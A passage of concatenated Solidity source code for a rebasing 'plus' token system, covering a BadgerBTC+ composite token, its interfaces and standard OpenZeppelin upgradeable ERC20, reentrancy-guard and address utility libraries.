bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
/**
* @dev Initializes the plus token contract.
*/
function __PlusToken__init(string memory _name, string memory _symbol) internal initializer {
__ERC20_init(_name, _symbol);
index = WAD;
governance = msg.sender;
treasury = msg.sender;
uint _chainId;
assembly {
_chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(_name)),
keccak256(bytes('1')),
_chainId,
address(this)
)
);
}
function _checkGovernance() internal view {
require(msg.sender == governance, "not governance");
}
modifier onlyGovernance() {
_checkGovernance();
_;
}
function _checkStrategist() internal view {
require(msg.sender == governance || strategists[msg.sender], "not strategist");
}
modifier onlyStrategist {
_checkStrategist();
_;
}
/**
* @dev Returns the total value of the plus token in terms of the peg value in WAD.
* All underlying token amounts have been scaled to 18 decimals, then expressed in WAD.
*/
function _totalUnderlyingInWad() internal view virtual returns (uint256);
/**
* @dev Returns the total value of the plus token in terms of the peg value.
* For single plus, it's equal to its total supply.
* For composite plus, it's equal to the total amount of single plus tokens in its basket.
*/
function totalUnderlying() external view override returns (uint256) {
return _totalUnderlyingInWad().div(WAD);
}
/**
* @dev Returns the total supply of plus token. See {IERC20Updateable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return totalShares.mul(index).div(WAD);
}
/**
* @dev Returns the balance of plus token for the account. See {IERC20Updateable-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return userShare[account].mul(index).div(WAD);
}
/**
* @dev Returns the current liquidity ratio of the plus token in WAD.
*/
function liquidityRatio() public view returns (uint256) {
uint256 _totalSupply = totalSupply();
return _totalSupply == 0 ? WAD : _totalUnderlyingInWad().div(_totalSupply);
}
/**
* @dev Accrues interest to increase index.
*/
function rebase() public override {
uint256 _totalShares = totalShares;
if (_totalShares == 0) return;
// underlying is in WAD, and index is also in WAD
uint256 _underlying = _totalUnderlyingInWad();
uint256 _oldIndex = index;
uint256 _newIndex = _underlying.div(_totalShares);
// _newIndex - oldIndex is the amount of interest generated for each share
// _oldIndex might be larger than _newIndex in a short period of time. In this period, the liquidity ratio is smaller than 1.
if (_newIndex > _oldIndex) {
// Index can never decrease
index = _newIndex;
for (uint256 i = 0; i < transactions.length; i++) {
Transaction storage transaction = transactions[i];
if (transaction.enabled) {
(bool success, ) = transaction.destination.call(transaction.data);
require(success, "rebase hook failed");
}
}
// In this event we are returning underlyiing() which can be used to compute the actual interest generated.
emit Rebased(_oldIndex, _newIndex, _underlying.div(WAD));
}
}
/**
* @dev Allows anyone to donate their plus asset to all other holders.
* @param _amount Amount of plus token to donate.
*/
function donate(uint256 _amount) public override {
// Rebase first to make index up-to-date
rebase();
// Special handling of -1 is required here in order to fully donate all shares, since interest
// will be accrued between the donate transaction is signed and mined.
uint256 _share;
if (_amount == uint256(int256(-1))) {
_share = userShare[msg.sender];
_amount = _share.mul(index).div(WAD);
} else {
_share = _amount.mul(WAD).div(index);
}
uint256 _oldShare = userShare[msg.sender];
uint256 _newShare = _oldShare.sub(_share, "insufficient share");
uint256 _newTotalShares = totalShares.sub(_share);
userShare[msg.sender] = _newShare;
totalShares = _newTotalShares;
emit UserShareUpdated(msg.sender, _oldShare, _newShare, _newTotalShares);
emit Donated(msg.sender, _amount, _share);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*/
function _transfer(address _sender, address _recipient, uint256 _amount) internal virtual override {
require(_sender != _recipient, "recipient cannot be sender");
// Rebase first to make index up-to-date
rebase();
uint256 _shareToTransfer = _amount.mul(WAD).div(index);
uint256 _oldSenderShare = userShare[_sender];
uint256 _newSenderShare = _oldSenderShare.sub(_shareToTransfer, "insufficient share");
uint256 _oldRecipientShare = userShare[_recipient];
uint256 _newRecipientShare = _oldRecipientShare.add(_shareToTransfer);
uint256 _totalShares = totalShares;
userShare[_sender] = _newSenderShare;
userShare[_recipient] = _newRecipientShare;
emit UserShareUpdated(_sender, _oldSenderShare, _newSenderShare, _totalShares);
emit UserShareUpdated(_recipient, _oldRecipientShare, _newRecipientShare, _totalShares);
}
/**
* @dev Gassless approve.
*/
function permit(address _owner, address _spender, uint256 _value, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s) external {
require(_deadline >= block.timestamp, 'expired');
bytes32 _digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, _owner, _spender, _value, nonces[_owner]++, _deadline))
)
);
address _recoveredAddress = ecrecover(_digest, _v, _r, _s);
require(_recoveredAddress != address(0) && _recoveredAddress == _owner, 'invalid signature');
_approve(_owner, _spender, _value);
}
/*********************************************
*
* Governance methods
*
**********************************************/
/**
* @dev Updates governance. Only governance can update governance.
*/
function setGovernance(address _governance) external onlyGovernance {
address _oldGovernance = governance;
governance = _governance;
emit GovernanceUpdated(_oldGovernance, _governance);
}
/**
* @dev Updates strategist. Both governance and strategists can update strategist.
*/
function setStrategist(address _strategist, bool _allowed) external onlyStrategist {
require(_strategist != address(0x0), "strategist not set");
strategists[_strategist] = _allowed;
emit StrategistUpdated(_strategist, _allowed);
}
/**
* @dev Updates the treasury. Only governance can update treasury.
*/
function setTreasury(address _treasury) external onlyGovernance {
require(_treasury != address(0x0), "treasury not set");
address _oldTreasury = treasury;
treasury = _treasury;
emit TreasuryUpdated(_oldTreasury, _treasury);
}
/**
* @dev Updates the redeem fee. Only governance can update redeem fee.
*/
function setRedeemFee(uint256 _redeemFee) external onlyGovernance {
require(_redeemFee <= MAX_PERCENT, "redeem fee too big");
uint256 _oldFee = redeemFee;
redeemFee = _redeemFee;
emit RedeemFeeUpdated(_oldFee, _redeemFee);
}
/**
* @dev Used to salvage any ETH deposited to BTC+ contract by mistake. Only strategist can salvage ETH.
* The salvaged ETH is transferred to treasury for futher operation.
*/
function salvage() external onlyStrategist {
uint256 _amount = address(this).balance;
address payable _target = payable(treasury);
(bool _success, ) = _target.call{value: _amount}(new bytes(0));
require(_success, 'ETH salvage failed');
}
/**
* @dev Checks whether a token can be salvaged via salvageToken().
* @param _token Token to check salvageability.
*/
function _salvageable(address _token) internal view virtual returns (bool);
/**
* @dev Used to salvage any token deposited to plus contract by mistake. Only strategist can salvage token.
* The salvaged token is transferred to treasury for futhuer operation.
* @param _token Address of the token to salvage.
*/
function salvageToken(address _token) external onlyStrategist {
require(_token != address(0x0), "token not set");
require(_salvageable(_token), "cannot salvage");
IERC20Upgradeable _target = IERC20Upgradeable(_token);
_target.safeTransfer(treasury, _target.balanceOf(address(this)));
}
/**
* @dev Add a new rebase hook.
* @param _destination Destination contract for the reabase hook.
* @param _data Transaction payload for the rebase hook.
*/
function addTransaction(address _destination, bytes memory _data) external onlyGovernance {
transactions.push(Transaction({enabled: true, destination: _destination, data: _data}));
}
/**
* @dev Remove a rebase hook.
* @param _index Index of the transaction to remove.
*/
function removeTransaction(uint256 _index) external onlyGovernance {
require(_index < transactions.length, "index out of bounds");
if (_index < transactions.length - 1) {
transactions[_index] = transactions[transactions.length - 1];
}
transactions.pop();
}
/**
* @dev Updates an existing rebase hook transaction.
* @param _index Index of transaction. Transaction ordering may have changed since adding.
* @param _enabled True for enabled, false for disabled.
*/
function updateTransaction(uint256 _index, bool _enabled) external onlyGovernance {
require(_index < transactions.length, "index must be in range of stored tx list");
transactions[_index].enabled = _enabled;
}
/**
* @dev Returns the number of rebase hook transactions.
*/
function transactionSize() external view returns (uint256) {
return transactions.length;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "../../CompositePlus.sol";
/**
* @title BadgerBTC+ token contract.
*
* BadgerBTC+ is a composite plus that is backed by single pluses which are backed by
* Badger's Sett.
*/
contract BadgerBTCPlus is CompositePlus {
/**
* @dev Initializes the BadgerBTC+ contract.
*/
function initialize() public initializer {
CompositePlus.initialize("Badger BTC Plus", "BadgerBTC+");
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "./IPlus.sol";
/**
* @title Interface for composite plus token.
* Composite plus is backed by a basket of plus with the same peg.
*/
interface ICompositePlus is IPlus {
/**
* @dev Returns the address of the underlying token.
*/
function tokens(uint256 _index) external view returns (address);
/**
* @dev Checks whether a token is supported by the basket.
*/
function tokenSupported(address _token) external view returns (bool);
/**
* @dev Mints composite plus tokens with underlying tokens provided.
* @dev _tokens The tokens used to mint the composite plus token. The composite plus token must have sufficient allownance on the token.
* @dev _amounts Amount of tokens used to mint the composite plus token.
*/
function mint(address[] calldata _tokens, uint256[] calldata _amounts) external;
/**
* @dev Redeems the composite plus token. In the current implementation only proportional redeem is supported.
* @param _amount Amount of composite plus token to redeem. -1 means redeeming all shares.
*/
function redeem(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/**
* @title Interface for plus token.
* Plus token is a value pegged ERC20 token which provides global interest to all holders.
*/
interface IPlus {
/**
* @dev Returns the governance address.
*/
function governance() external view returns (address);
/**
* @dev Returns whether the account is a strategist.
*/
function strategists(address _account) external view returns (bool);
/**
* @dev Returns the treasury address.
*/
function treasury() external view returns (address);
/**
* @dev Accrues interest to increase index.
*/
function rebase() external;
/**
* @dev Returns the total value of the plus token in terms of the peg value.
*/
function totalUnderlying() external view returns (uint256);
/**
* @dev Allows anyone to donate their plus asset to all other holders.
* @param _amount Amount of plus token to donate.
*/
function donate(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/**
* @title Interface of BTC+ pools rebalancer.
*/
interface IRebalancer {
/**
* @dev Performs rebalance after receiving the requested tokens.
* @param _tokens Address of the tokens received from BTC+ pools.
* @param _amounts Amounts of the tokens received from BTC+ pools.
* @param _data Data to invoke on rebalancer contract.
*/
function rebalance(address[] calldata _tokens, uint256[] calldata _amounts, bytes calldata _data) external;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20Upgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
